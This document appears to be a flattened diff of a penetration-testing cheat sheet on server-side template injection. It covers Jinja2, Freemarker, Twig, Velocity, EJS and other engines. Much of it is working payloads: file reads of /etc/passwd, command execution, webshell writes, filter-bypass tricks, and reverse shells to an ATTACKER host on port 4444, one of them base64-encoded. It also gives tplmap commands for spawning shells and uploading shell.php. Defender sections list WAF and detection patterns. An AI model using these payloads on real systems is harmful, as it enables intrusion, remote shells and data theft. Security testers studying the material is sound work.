strings from arithmetic or list indices.+### SSTI to File Read-```jinja-{{ (().__class__.__base__.__subclasses__()[104].__init__.__globals__).os.popen('id').read() }}+```python+# Jinja2 - read files via file subclass+{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}++# Freemarker - include directive+<#include "/etc/passwd">++# ERB - File.read+<%= File.read('/etc/passwd') %>++# Mako - direct open+<% print(open('/etc/passwd').read()) %>```-For Node templating (EJS/Pug/Handlebars server-side), prefer prototype traversal to reach `Function` or `require` when helpers expose evaluation sinks:+### SSTI to Full RCE++Once you have code execution through any engine, escalate to a proper reverse shell+for interactive access.++```bash+# Generate a reverse shell payload and deliver via SSTI+# Jinja2 reverse shell:+{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"').read() }}-```js-<%=(global.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')())%>+# For Java engines (Freemarker, Velocity, Pebble, Thymeleaf):+${"freemarker.template.utility.Execute"?new()("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}")}```-### Recent CVEs (2024‑2025)--| CVE | Affected component | Severity | Fixed in |-| -------------- | ------------------------------------------- | -------- | --------------------- |-| CVE‑2024‑22195 | Jinja2 sandbox / `xmlattr` filter bypass | High | 3.1.3 |-| CVE‑2024‑46507 | Yeti threat‑intel platform SSTI → RCE | Critical | 1.6.2 |-| Various (2024) | Atlassian Confluence widgets, CrushFTP, HFS | Critical | See vendor advisories |--### Automated Scanning & CI Integration--- **nuclei** and **semgrep** include up‑to‑date SSTI rules; integrate them into pull‑request checks.-- GitHub code‑scanning query pack “SSTI” (released 2024‑10) covers Python, PHP, Go.-- Add a CI gate blocking merges on raw `render_template_string` or `.format()` inside templates.--## Vulnerabilities--Common vulnerable patterns include:--- Direct Rendering: `render_template_string("Hello " + user_input)`-- Unsafe Variable Usage: `{{ unsafe_variable }}` where `unsafe_variable` contains template code.-- Framework-Specific Functions: Using functions known to be dangerous if processing user input (consult framework documentation).--## Methodologies--### Tools--**Active Exploitation:**--- **tplmap**: `python tplmap.py -u 'http://www.target.com/page?name=John*'` ([https://github.com/epinna/tplmap](https://github.com/epinna/tplmap))-- **SSTImap**: `python3 sstimap.py -u "https://example.com/page?name=John" -s`-- **TInjA**: `tinja url -u "http://example.com/?name=Kirlia"`-- **crithit** – SSTI‑centric fuzzer supporting Go/Tera, Blade, and Mako (2024)--**Burp Suite Extensions:**--- **Template Injector** – maintained fork replacing TemplateTester-- **Server Side Template Injection** - Active scanner checks-- **Param Miner** - Discover hidden parameters that might accept template input--**Scanning & Detection:**--- **nuclei** (`templates/ssti-*`) – fast HTTP scanner with updated SSTI signatures (2024-2025)-- **semgrep** with SSTI rulesets – Static analysis for template injection vulnerabilities-- **GitHub CodeQL** "SSTI" query pack (2024-10) – Covers Python, PHP, Go--**Framework-Specific:**--- **Jinja2 Sandbox Escape Tools** - Testing Jinja2 sandboxed environments-- **Node Template Tester** - EJS/Pug/Handlebars/Nunjucks testing suite--### Manual Testing & Exploitation Payloads--- Generic/Polyglot:- - `${{<%[%'"}}%\.`- - `{{7*7}}` -> `49`- - `{{7*'7'}}` -> `7777777`- - `{{ '7'*7 }}` (Jinja2) -> `7777777`- - `@(1+2)` (.NET Razor) -> `3`-- Jinja2 (Python / Flask):- - Debug/Info: `{{config}}`, `{{self}}`, `{{settings.SECRET_KEY}}`, `{% debug %}` (Requires debug extension)- - List Subclasses: `{{ [].__class__.__base__.__subclasses__() }}` , `{{ ''.__class__.__mro__[1].__subclasses__() }}` (Index 1 or 2 depending on Python version)- - Recover `object` Class: `{{ ''.__class__.__mro__[1] }}` (or `[2]`), `{{ ''.__class__.__base__ }}`- - Find File Class: Iterate through subclasses list or guess index, e.g., `[40]` on some systems.- - Read File (via `__subclasses__`): `{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}` (Index varies)- - RCE (via `__subclasses__`): `{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip() }}` (Find `subprocess.Popen` index, e.g., `396`)- - RCE (Common - via `__globals__`): `{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}`- - RCE (via `request` object - `__globals__`): `{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}`- - RCE (via `config` object - `__globals__`): `{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}`- - RCE (Alternative via `__globals__` search): `{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}` (Search for a class with `_module` attribute)- - RCE (via `config` and `import_string`): `{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}`- - RCE (via `request` and hex/brackets bypass): `{{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() }}`- - Write File (via `__subclasses__`): `{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evil', 'w').write('hello') }}` (Index varies)- - Write Evil Config & RCE:- ```python- # Write config- {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}- # Load config- {{ config.from_pyfile('/tmp/evilconfig.cfg') }}- # Execute- {{ config['RUNCMD']('id',shell=True) }}- ```- - Avoid HTML Encoding: `{{'<script>alert(1)</script>'|safe}}`- - Loop: `{%raw %}{% for c in [1,2,3] %}{{ c,c,c }}{% endfor %}{% endraw %}`-- FreeMarker (Java):- - RCE: `<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }`- - RCE: `${"freemarker.template.utility.Execute"?new()("id")}`- - File Read: `${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}` (May require adjustments)- - Info: `${class.getResource("").getPath()}`, `${T(java.lang.System).getenv()}`-- Smarty (PHP):- - `{$smarty.version}`- - `{php}echo `id`;{/php}` (If PHP tag enabled)- - `{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}` (Write webshell)- - `{{7*7}}`, `{{7*'7'}}`- - `{{dump(app)}}` (Symfony)- - `"{{'/etc/passwd'|file_excerpt(1,30)}}"@` (Twig)-- Velocity (Java):- - `#set($str=$class.inspect("java.lang.String").type)`- - `#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))`- - `$ex.waitFor()`- - `#set($out=$ex.getInputStream()) ... #foreach ... $str.valueOf($chr.toChars($out.read())) ... #end` (Read command output)-- Ruby (ERB, Slim):- - `<%= system("whoami") %>`- - `<%= Dir.entries('/') %>`- - `<%= File.open('/etc/passwd').read %>`-- Node.js (Various engines):- - `{{this.constructor.constructor('return process.mainModule.require("child_process").execSync("id")')()}}`- - Payloads often involve traversing prototypes (`this.__proto__`) to reach `constructor` and eventually `Function` or `require`. See PayloadAllTheThings / Hacker Recipes for detailed Node examples.-- ASP/.NET (Razor, etc.):- - `@(1+2)` -> `3`- - `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`- - `<%= CreateObject("Wscript.Shell").exec("cmd /c whoami").StdOut.ReadAll() %>` (Classic ASP)-- Perl (Template Toolkit):- - `[% PERL %] ... perl code ... [% END %]`- - `<%= perl code %>` or `<% perl code %>` (Depending on config)-- Go (`text/template`):- - Potentially dangerous if methods allowing command execution are exposed to the template: `{{ .System "ls" }}`- - `html/template` is generally safer against XSS but might still leak info if not used carefully.--### Comprehensive Payloads--- [PayloadsAllTheThings - SSTI](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)-- [PayloadBox - SSTI](https://github.com/payloadbox/ssti-payloadsb/ssti-server-side-template-injection/index.html)--## Chaining and Escalation--SSTI often leads directly to RCE, but can also be used for:--- **RCE:** Primary goal, gain shell access.-- **File Exfiltration:** Read sensitive files (`/etc/passwd`, `web.config`, source code, credentials).-- **Information Disclosure:** Dump environment variables, application configuration (`{{config}}`, `{{settings}}`), object properties, internal network paths.-- **Internal Network Access:** Use RCE to pivot, scan internal networks, or access internal services.-- **Privilege Escalation:** Combine RCE with local exploits if the web server runs with elevated privileges.-- **Data Exfiltration:** Send internal data to an attacker-controlled server (e.g., via HTTP requests or DNS exfiltration from within the template code).-- **SSRF pivot:** Some engines permit URL‑fetch filters (`{{''|fetch('http://...')}}`); leverage SSTI to query cloud‑metadata endpoints.--## Remediation Recommendations--- Never Render User Input Directly: The most critical step. Treat user input as data, not code.-- Use Safe Templating Practices:- - Pass user data into templates using dedicated template variables (e.g., `render_template('page.html', user_data=user_input)`).- - Use logic-less templates if possible.-- Sanitize and Validate: If rendering user input is unavoidable (e.g., CMS), rigorously sanitize it. Remove or escape all template syntax characters (`{`, `}`, `$`, `%`, `<`, `>`, etc.). Use allow-lists for safe HTML if needed.-- Use Sandboxed Environments: Configure the template engine's sandbox if available and effective for the specific engine. Be aware that sandboxes can often be bypassed.-- Choose Safer Engines: Prefer engines designed for security, like Go's `html/template` over `text/template` for HTML output, as it provides context-aware auto-escaping.-- Principle of Least Privilege: Run the web application process with minimal privileges.-- Input Validation: Validate input against expected formats (e.g., email, number) before it reaches the template layer.-- Patch management: track and apply security updates for template engines (see Recent CVEs).-- Harden runtime: enable seccomp/AppArmor or gVisor so that even a successful RCE has minimal kernel attack surface.-- CI guardrails: block usage of dangerous APIs (e.g., `render_template_string`, `Template.compile`, `eval` filters) via linters/semgrep; add approve‑list of safe helpers-- For Node: disable `with` in EJS, avoid `compileDebug`, and run with `vm` sandbox only when fully locked down (no `require` or `Function` reachable)+---++## Automated Exploitation with tplmap++tplmap automates SSTI detection and exploitation across multiple engines. Use it for+initial discovery, then switch to manual payloads for complex scenarios.++```bash+# Basic scan+python tplmap.py -u 'http://target.com/page?name=test'++# Scan with POST data+python tplmap.py -u 'http://target.com/page' -d 'name=test'++# Scan specific parameter in URL+python tplmap.py -u 'http://target.com/page?name=test*' # asterisk marks injection point++# Force a specific engine+python tplmap.py -u 'http://target.com/page?name=test' -e jinja2++# Execute OS commands+python tplmap.py -u 'http://target.com/page?name=test' --os-cmd 'id'++# Spawn an interactive shell+python tplmap.py -u 'http://target.com/page?name=test' --os-shell++# File read / write+python tplmap.py -u 'http://target.com/page?name=test' --download /etc/passwd ./passwd+python tplmap.py -u 'http://target.com/page?name=test' --upload ./shell.php /var/www/html/shell.php++# SSTImap (maintained fork with additional engines)+python3 sstimap.py -u 'http://target.com/page?name=test' -s # scan mode+python3 sstimap.py -u 'http://target.com/page?name=test' -S # interactive shell++# TInjA (template injection analyzer)+tinja url -u 'http://target.com/page?name=test'+tinja url -u 'http://target.com/page?name=test' -e jinja2 --cmd 'id'+```++---++## Detection / Defender View++Defenders can detect and prevent SSTI at multiple layers.++**Code-level prevention:**+- Never concatenate user input into template strings. Always pass data as template variables.+- Block dangerous APIs at the linter level: `render_template_string`, `Template()` with user input, `compile` with user input.+- Use semgrep or CodeQL SSTI rule packs in CI pipelines to catch unsafe patterns before deployment.++**Runtime detection signals:**+- Template error messages in HTTP responses (stack traces mentioning Jinja2, Twig, Freemarker).+- Requests containing template metacharacters: `{{`, `${`, `<%`, `{%`, `#{`, `*{`.+- Requests with MRO traversal patterns: `__class__`, `__mro__`, `__subclasses__`, `__globals__`, `__builtins__`.+- Requests with Java reflection patterns: `getRuntime`, `exec(`, `ProcessBuilder`, `forName`.+- DNS queries to unexpected external domains from application servers (OOB exfiltration).+- Unusual process spawning from web server processes (shell, python, curl).++**WAF rules:**+- Block or alert on `__class__`, `__mro__`, `__subclasses__`, `__globals__`, `__import__` in request parameters.+- Block `T(java.lang.Runtime)`, `getRuntime()`, `ProcessBuilder` in request parameters.+- Block `{%`, `{{`, `${`, `<%=` in contexts where template syntax is not expected.+- Beware of bypass via encoding; decode before inspection.++**Sandboxing:**+- Enable template engine sandboxing where available (Jinja2 SandboxedEnvironment, Freemarker template security manager).+- Run application processes with minimal OS privileges and seccomp/AppArmor profiles.+- Use `html/template` over `text/template` in Go applications.+- Disable `{php}` tags in Smarty; disable debug compilation in EJS; restrict SpEL in Thymeleaf.++---++## Engagement Cheatsheet++```text+ENGINE DETECT INFO DISCLOSURE RCE PAYLOAD+------------------------------------------------------------------------------------------+Jinja2 {{7*'7'}}=7777777 {{config}} {{self.__init__.__globals__.__builtins__+ .__import__('os').popen('CMD').read()}}++Twig 1.x {{7*7}}=49 {{_self.env}} {{_self.env.registerUndefinedFilterCallback+ ("exec")}}{{_self.env.getFilter("CMD")}}++Twig 3.x {{7*7}}=49 {{app.request.server}} {{['CMD']|map('system')}}++Freemarker ${7*7}=49 ${.data_model} ${"freemarker.template.utility.Execute"+ ?new()("CMD")}++Velocity $class.type #set($x=$class.inspect #set($rt=$class.inspect("java.lang+ ("java.lang.System")) .Runtime").type.getRuntime().exec("CMD"))++Pebble {{7*7}}=49 {{beans}} See beans/Runtime chain above++Smarty {$smarty.version} {$smarty.template} {system('CMD')} or math equation abuse++Mako ${7*7}=49 ${self.module.__name__} ${self.module.cache.util.os+ .popen('CMD').read()}++ERB <%=7*7%>=49 <%=ENV%> <%=system('CMD')%>++Thymeleaf ${T(Math).PI}=3.14... ${@environment} ${T(java.lang.Runtime).getRuntime()+ .exec('CMD')}++Handlebars {{this}}=object dump {{@root}} Requires proto pollution or unsafe helpers++EJS <%=7*7%>=49 <%=process.env%> <%=global.process.mainModule.require(+ 'child_process').execSync('CMD')%>++Nunjucks {{7*7}}=49 {{range.constructor}} {{range.constructor("return global.process+ .mainModule.require('child_process')+ .execSync('CMD')")()}}+```++```text+BYPASS QUICK REFERENCE+ Dot blocked: |attr('name') or ['name']+ Underscore blocked: \x5f (hex) or request.args+ Quotes blocked: request.args.param or chr() construction+ Brackets blocked: |attr() chains with |attr('__getitem__')+ Keywords blocked: string concatenation ('o'+'s') or ~ operator+ WAF blocking {{: double-encode %257B%257B or HPP+ Blind context: time delay, OOB DNS, error-based inference+```++---+## Key References++- PortSwigger SSTI Research: https://portswigger.net/research/server-side-template-injection+- PayloadsAllTheThings SSTI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection+- HackTricks SSTI: https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html+- tplmap: https://github.com/epinna/tplmap+- SSTImap: https://github.com/vladko312/SSTImap+- TInjA: https://github.com/Hackmanit/TInjA+- Jinja2 Documentation (sandbox): https://jinja.palletsprojects.com/en/3.1.x/sandbox/+- Spring SpEL Documentation: https://docs.spring.io/spring-framework/reference/core/expressions.html+- Freemarker Security: https://freemarker.apache.org/docs/app_faq.html#faq_template_uploading_security